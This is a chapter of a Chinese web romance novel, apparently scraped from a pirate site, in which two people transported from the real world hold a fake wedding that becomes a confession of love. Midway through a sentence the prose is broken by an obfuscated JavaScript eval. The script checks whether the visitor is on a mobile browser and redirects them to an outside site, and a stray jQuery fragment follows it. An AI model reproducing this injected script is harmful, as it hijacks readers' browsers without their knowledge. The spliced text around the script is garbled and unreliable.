83. 虽然是假成亲

作品:《我靠作死让师尊动心了

    经过两人的共同商议,把婚礼的日子定在了三日后。


    姜溯的指尖无意识地摩挲着门框上平滑的木纹,看着陆沉舟站在梯子上亲自调整“囍”字的位置。


    阳光透过枫叶的间隙洒在他身上,玄色衣袍下摆随着动作轻轻摆动,露出绣着暗纹的里衬。


    他修长的手指抚平褶皱的“囍”字时,那种专注的神情让她忽然想起现实世界里他调试代码的模样。


    “这个高度怎么样?”


    他突然转头,恰好撞上她没来得及收回的视线。


    姜溯慌忙低头,假装抚平自己裙摆上根本不存在的皱褶,“我说……”她的声音比想象中干涩,像是拉了半响依旧哑声的琴弦。


    她清了清嗓子,接着说:“反正又不是真的成亲,随便贴贴就行了,何必这么较真?”


    梯子发出轻微的吱呀声,她抬眼时,陆沉舟已经站在面前,身上带着阳光晒过的暖暖的,香香的味道。


    一对雕着鸳鸯的红烛猝不及防地被塞进她手里,烛身冰凉,烛身冰凉,可被他握过的地方却残留着些许温度,像是故意烫在她掌心似的。


    她忍不住用拇指摩挲了一下,指尖触到那对鸳鸯时,心跳莫名快了一拍。


    这算什么?假成亲还搞得这么认真?


    正出神,头顶传来陆沉舟的声音:“把蜡烛放到东厢房,然后再来院子门口。”


    她抬头,见他手里捏着剩下的两张“囍”字,抬脚就要往院门口走,忍不住皱眉:“不是吧!大门上也要贴?”


    陆沉舟回头瞥她一眼,眼神里带着不容置疑的意味:“我陆珩的婚事,不能随便。”


    又来了!


    姜溯翻了个白眼,转身就要往屋里走:“好好好,随你,你自己贴去吧,我回屋睡觉了!”


    “不行。”他伸手拽住她。


    “为什么?”姜溯瞪他,“你一个人不就能贴了?应该不需要我吧?”


    “贴完“囍”字还要挂红绸,我一个人挂不了。”


    骗鬼呢!


    姜溯心里暗骂,可看着他站在那儿,眉目清冷,偏偏眼神固执地盯着她,像是她不答应就不罢休的样子,最终还是败下阵来。


    算了,反正就三天,忍忍就过去了。


    她认命地叹了口气,跟着他走到院门口,站在梯子下面帮他递红绸。


    阳光透过树叶的缝隙洒下来,斑驳的光影落在陆沉舟的侧脸上。他仰头调整红绸的位置时,下颌线绷紧,喉结微微滚动,衣领微敞,露出一小截锁骨。


    姜溯盯着看了两秒,突然觉得喉咙发干,赶紧移开视线。


    见鬼,我在看什么?


    就在这时,一道苍老的声音从旁边传来。


    “小两口这是要办喜事?”


    姜溯转头,看见一位头发花白的老妇人站在不远处,笑眯眯地望着他们,目光在两人之间来回打量,眼里满是慈爱和好奇。


    她张了张嘴,刚想解释,身后突然传来“砰”的一声,陆沉舟直接从梯子上跳了下来,稳稳落地,几步走到她身旁,手臂一伸,直接环住了她的肩膀。


    他的指尖若有似无地擦过她的锁骨,温热的触感让她浑身一僵。


    “三日后成亲。”他嗓音低沉,带着几分笑意,“到时候您要有时间的话,欢迎来喝杯喜酒。”


    老妇人眼睛一亮,拍手笑道:“好事啊!”


    她腕间的银镯随着动作叮当作响,“老婆子我时间多的是,我家就住在隔壁,你们需要帮忙,尽管喊我!到时候我还可以帮新娘子梳妆。”


    “不用了!”姜溯脱口而出,可话一出口,就察觉到身旁陆沉舟的气息骤然冷了下来。她侧头瞥了他一眼,果然见他下颌线绷紧,眼神微沉。


    啧,这人怎么这么难伺候?


    她咬了咬唇,硬生生把那句“我们是假成婚”咽了回去,改口道:“我是说……太麻烦您了……我自己可以的!”


    “不麻烦不麻烦!”老妇人已经颤巍巍地跨过门槛,笑眯眯地打量着院子里的布置,“老婆子我来帮你们看看,还有什么是需要置办的?”


    说着,她回头看向姜溯,目光慈爱:“新娘子的嫁衣置办了吗?我跟你们说,这成亲的头一件大事就是要置办婚服!这婚服可有来头了,女子在成婚前就要开始绣,你绣好了吗?拿来老婆子我帮你看看,有没有需要改的地方!”


    姜溯:“……”


    绣嫁衣?她连针线都没摸过几次!


    她干笑两声:“我不会刺绣……”


    老妇人摆摆手,一脸了然:“不会也没关系,让你相公给你买。”


    陆沉舟闻言,唇角微扬,看向姜溯的眼神里带着几分戏谑:“大娘,您知道这城里哪家成衣铺卖婚服吗?”


    老妇人一拍大腿:“巧了!城东“锦绣坊”的老板娘手艺最好,她家的嫁衣可是咱们这儿姑娘出嫁的首选!”


    陆沉舟点点头,转头看向姜溯,眼里带着不容拒绝的意味:“走吧,去挑嫁衣。”


    姜溯:“……”


    这戏是不是演得太认真了点?


    可看着他站在阳光下,眉眼含笑地望着她,她突然说不出拒绝的话。


    算了,就当陪他疯一回。


    她深吸一口气,跟了上去。


    成衣铺的铜铃在推门时发出清脆声响。姜溯盯着自己鞋尖上沾的枫叶碎屑,听着老板娘滔滔不绝的介绍,就是不肯抬头看那件被夸得天花乱坠的嫁衣。


    “姑娘肤白,正红色最衬了!”


    老板娘抖开嫁衣的瞬间,满室烛光都为之一颤。金线绣的凤凰在红绸上展翅欲飞,珍珠缀成的流苏像碎星般簌簌晃动。


    姜溯的指尖动了动,她确实喜欢这件嫁衣,可又觉得这份喜欢来得太过危险,她怕自己穿上这喜欢的嫁衣,会误以为自己是真的在和陆珩成亲。


    他正要开口推拒,身侧突然掠过一阵带着冷松香的风。


    陆沉舟的手指抚过嫁衣领口的并蒂莲,骨节分明的指节与鲜红的绸缎形成鲜明对比。当他用那双手捧起嫁衣转身时,姜溯恍惚看见现实世界里,他拿着新游戏企划案走向自己的样子。


    “试试。”简单的两个字,却带着不容拒绝的力道。


    更衣室的铜镜蒙着薄雾,姜溯系腰带时发现自己的手在微微发抖,当最后一根丝带绾好,镜中的新娘让她怔在原地,原来自己描眉点唇的模样,竟真有几分待嫁的娇羞。


    “姑娘,姑爷等着呢,快出来让姑射瞧瞧。”老板娘在门外催促。


    姜溯深吸一口气,推开门的瞬间,整个店铺的嘈杂声仿佛突然远去。陆沉舟也换好了新郎服,背对着她正在看一对手镯,听到声响转过身来,瞳孔骤然收缩。


    他走近的脚步很稳,却在抬手为她整理珠钗时泄露了一丝颤抖。


    姜溯不敢抬头看他,但又特别好奇他是什么表情,只好用余光瞥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840095|169350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向旁边的一面圆形铜镜,铜镜里,他低垂的睫毛在眼下投出小片阴影,薄唇抿成一条直线,嘴角似乎在微微上扬。


    当他的指尖不经意擦过她耳后的敏感处时,两人同时在镜中僵住了。


    “很美。”他声音沙哑得不像话。


    姜溯看着镜中依偎的身影,忽然意识到他们此刻的模样,竟真的像一对新婚夫妻,她不断地在心中提醒自己,这是假的,一切都是假的,等他们回到现实世界,依然只是上下级关系而已,自己千万不要沉迷其中,无法自拔。


    成婚前夜,姜溯蹲在廊下看一群蚂蚁搬家。这两天,他们的小院突然热闹得让她心慌,邻居们进进出出,每个人脸上都带着真心实意的笑容。这也太荒谬了,明明只是场戏,怎么所有人都当真了?


    “要不要喝点酒?”一个白玉酒盏被人从身后递到眼前。


    陆沉舟不知何时坐在了身旁,白色里衣外套了件素纱罩衣,领口微敞,露出半截锁骨。他喝酒时喉结滚动的样子让姜溯莫名口渴,接过酒杯猛灌一口,却被甜辣的桂花酿呛得直咳嗽。


    “慢点喝!”他拍她后背的力道很轻,掌心温度却透过衣料灼人。


    姜溯盯着廊柱上缠绕的红绸,“不是说假成婚嘛,你干嘛弄这么大阵仗?”她的声音像闷在酒杯里似的。


    夜风送来桂花的香气,混着他身上淡淡的酒气,萦绕在姜溯鼻尖,陆沉舟沉默了很久,久到她以为不会得到回答。


    “因为……”他忽然就着酒壶喝了一口,“我想让你永远记得这一天。”


    姜溯转头看他,月光描摹着他的侧脸轮廓,那双向来凌厉的眉眼此刻柔软得不可思议。


    “哪怕是假的……也想让你觉得像真的。”


    他这是……在向她表白吗?姜溯发现自己胸腔里的心跳声大得吓人,她慌忙低头,发现酒杯中的倒影里,自己嘴角竟挂着掩不住的笑。


    大婚当日,姜溯对着妆奁里的胭脂发愣,凤冠沉甸甸地压着鬓发,珍珠流苏随着呼吸轻轻摇晃,镜中的新娘唇若丹朱,眼尾描着淡淡的金粉,陌生得让她心尖发颤。


    “吉时到了!”陆沉舟的声音隔着门板传来,比平日低沉几分。


    推开门的瞬间,满院春光撞入眼帘。


    三日前,陆沉舟亲手用灵力栽的野蔷薇不知何时爬满了回廊,花瓣随着晨风纷纷扬扬地落下。陆沉舟站在花雨尽头,红衣墨发,朝她伸出的掌心向上,是她熟悉的姿势。


    指尖相触的刹那,姜溯突然想起穿越来的那天,他也是这样向她伸出手,企图要救她,只是这次,他握住了她的手,力道温柔又坚定,仿佛再也不打算松开。


    没有司仪唱和,他们对着天地深深拜下,交杯时,陆沉舟的手稳稳托着杯底,却在她饮尽时用拇指蹭过她唇角溢出的酒液。那触感像团火,从嘴角一路烧到心底。


    “姜溯。”三巡酒后,他忽然贴近她耳畔,呼吸带着桂花酿的甜香,“你现在反悔还来得及。”


    姜溯望着他近在咫尺的眉眼,忽然笑出声来。


    这个在会议室里杀伐果决的男人,此刻眼中竟带着罕见的忐忑,她伸手拽住他前襟,在满堂红烛的见证下,将唇印在他微凉的嘴角:“陆总,做戏要做全套,不如我们把洞房的戏也演一下?”


    烛花爆响的瞬间,她被他打横抱起。凤冠的珠串晃出清脆声响,盖住了那句消散在喜帐中的呢喃:“姜溯,我喜欢你,一直都喜欢你。”